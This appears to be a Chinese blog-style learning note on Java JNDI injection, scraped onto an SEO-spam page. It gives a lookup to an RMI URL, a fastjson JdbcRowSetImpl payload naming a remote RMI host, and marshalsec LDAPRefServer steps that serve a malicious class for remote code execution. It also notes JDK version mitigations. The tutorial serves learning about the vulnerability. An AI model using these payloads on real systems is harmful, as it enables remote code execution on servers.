当前位置: 首页 > news >正文

wordpress网站前台打开慢品牌运营包括哪些内容

wordpress网站前台打开慢,品牌运营包括哪些内容,中南大学双一流建设网站,有什么网站是专做婚礼素材的JNDI 简介 (Java Naming and DirectoryInterface)他是 java 命名个目录的接口,设计的本意是为了让开发者访问各种资源 , 他支持的网络协议 :DNS.RMI,LDAP 但是后来 这些 协议被恶意的加载 一下RCE代码的java类文件&…

JNDI 简介

Java Naming and DirectoryInterface)他是 java 命名个目录的接口,设计的本意是为了让开发者访问各种资源  , 他支持的网络协议 :DNS.RMI,LDAP

但是后来 这些 协议被恶意的加载 一下RCE代码的java类文件,导致了 JNDI注入问题

上一节学到的 rmi 注入引发点:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());               

这个就是Jndi注入最经典的代码 

恶意构造一下

但是当我们运行的时候 命令执行失败 原因可能是 Jdk版本的问题

不同JDK版本 使用的注入协议是不同的 

查看版本 发现是  201 但是图中是没有直接写  8u201的所在 这个就涉及到高版本的绕过(我们选择使用版本jdk的进行测试)

JNDI 注入出现的方式

代码审计时,识别是JNDI注入

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sound.midi.Soundbank;
import java.lang.reflect.Method;public class JndiDemo {public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {//本身源码中的jndi注入触发代码//安全角度:审计 一眼就知道可以利用jndi注入// 1\直接型InitialContext var1 = new InitialContext();var1.lookup("rmi://127.0.0.1:7778/RCE");//2\ 来源于JDK或依赖jar包里面的jndi触发代码   这个需要解析环境就是 fastjson// 这个的实质就是反序列化链的利用        
//如fastjson反序列化链:com.sun.rowset.JdbcRowSetImpl.connect dataSourceName
//        String payload = "{" +
//                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
//                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
//                "\"autoCommit\":true" +
//                "}";//安全角度:审计 看这个// 3\反射类调用的逻辑Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");for (Method declaredMethod : aClass.getDeclaredMethods()) {System.out.println(declaredMethod.getName());}Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);System.out.println(setDataSourceName);}
}

JNDI的利用方式 :

1、使用全自动化生成工具进行操作 :

然后根据对方的jdk版本去找合适的利用协议和payload,查看日志 利用成功

DNS协议  :

2、中专类型

这个就需要我们理解一下 JNDI 注入的原理 :(恶意的java类包的访问执行)我们调用 lookup() 读取相关的链接的时候,如果这个链接指向的java包是恶意的RCE就会造成 RCE 问题

使用中专工具的好处 就是 对方执行的RCE命令是我们自控的

工具 :

https :// github . com / mbechler / marshalsec

这边写一个  类文件

把类文件进行编译 

如果不编译就无法进行执行

在这个目录下执行

python -m http.server 8090

然后我们访问一下这个web是否启动起来

然后把这个端口 发到工具 让工具生成一个专门的协议链接

工具执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 
http://127.0.0.1:8090/#ConCon   //编译好的类包
http://0.0.0.0:8090  类包所在的服务器端口
LDAPRefServer  :服务输出:
Listening on 0.0.0.0:1389

那我们就使用 ldap 进行访问

执行结果

JDK高版本限制问题 

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这个就是上面的那个图

http://www.zhongyajixie.com/news/36714.html

相关文章:

  • 咸阳网站开发公司seo系统培训哪家好
  • 邱县手机网站建设谷歌外贸网站推广
  • ppt做视频 模板下载网站江西短视频seo搜索报价
  • 网站建设网络推广首选公司投资网站建设方案
  • 网站和后台新手如何做网上销售
  • 做一个展示网站多少钱泉州全网推广
  • 平安保险网站活动推广朋友圈文案
  • 外贸常用网站掉发脱发严重是什么原因
  • 凡科网站建设优书网首页
  • asp.net窗体网站app宣传推广方案
  • 公司网页网站建设广州百度推广外包
  • 我做网站了圆通seo的中文是什么
  • 工厂怎么做网站惠州市seo广告优化营销工具
  • 国家工信部 网站备案网上seo研究
  • 网站建设的建议例子百度账号注册申请
  • 建c2c网站费用营销策划方案案例
  • 阿里巴巴做网站的昆山网站建设公司
  • 如何用自己的电脑做网站服务器seo优化网站源码
  • 做php网站教程视频互联网创业项目
  • 国务院建设主管部门网站低价刷赞网站推广
  • 如何快速做网站排名短视频搜索seo
  • 手机版网站做一下多少钱电商运营工作内容
  • jsp两种网站开发模式手机百度一下百度
  • 网站建设安全规划长春seo排名公司
  • 贵阳手机网站开发怎样制作网页新手自学入门
  • 网站建设解决问题品牌推广公司
  • 展厅展示设计北京网站优化对策
  • 设计师网站模版免费做做网站
  • 做暧暧视频大波妹网站西安seo公司
  • 做医药中间体的外贸网站网站流量数据